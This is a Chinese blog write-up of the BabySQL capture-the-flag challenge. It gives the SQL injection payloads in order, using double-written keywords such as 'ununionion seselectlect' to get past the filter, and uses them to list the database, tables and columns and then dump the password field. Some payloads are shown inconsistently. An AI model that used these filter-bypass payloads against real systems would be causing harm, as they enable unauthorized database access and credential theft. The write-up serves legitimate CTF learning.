[极客大挑战 2019]BabySQL 1

本文介绍了通过SQL注入漏洞获取系统flag的过程。首先,通过测试发现存在SQL注入,然后利用双写技巧绕过字符过滤,分别获取字段数、数据库名、表名、字段名及内容。总结了判断注入类型、绕过过滤的方法,强调了在进行SQL注入时的注意事项。
摘要由CSDN通过智能技术生成

一、获取flag流程

我们先随便输入一个账号密码,查看URL发现是通过PUT方式传递数据到后台的。
我们首先判断是否存在SQL注入,我们尝试在username参数后加一个“ ’ ”,发现数据库直接爆出了错误,说明是存在注入的。
在这里插入图片描述
接下来我们用万能密码试一下,首先我们判断下这里是字符型注入还是数值型注入,先尝试1’ or ‘1’=‘1%23
在这里插入图片描述
发现不可行,所以我们再尝试数值型注入,输入:1’ or 1=1%23,爆出了数据库错误,猜测是过滤了or(其实这里也过滤了and),尝试双写or试下,成功爆出。payload如下:

1' or 1=1%23

在这里插入图片描述
在这里插入图片描述
接下来是获取字段数,payload如下:

admin' oorrder bbyy 3%23

在这里插入图片描述
可以看出这里是过滤了or的,其实这里by也被过滤了,所以我们尝试双写绕过,pyaload如下:

admin' oorrder bbyy 3%23

在这里插入图片描述
接下来就是数据库名:union和select同样被过滤了,同样尝试双写绕过,payload如下:

' ununionion seselectlect 1,2,database()%23

在这里插入图片描述
再下来是表名,经测试frominfor中的or以及where等字符被过滤了,payload如下:

ununionion seselectlect 1,2,group_concat(table_name)frfromom infoorrmation_schema.tables whwhereere table_schema='geek'%23

在这里插入图片描述
再是字段名,payload如下:

' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_schema='geek' anandd table_name='b4bsql'%23

在这里插入图片描述
最后是字段内容,payload如下:

'  ununionion seselectlect 1,2,group_concat(passwoorrd) frfromom geek.b4bsql %23

在这里插入图片描述
这样就得到了flag。

二、思路总结

1.既然爆出数据库错误,说明系统没有屏蔽报错信息,可以尝试union注入。
2.注入发现过滤了一些敏感字符,尝试大小写,双写等绕过。
3.注入前一定要判断是数值型注入还是字符型注入。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值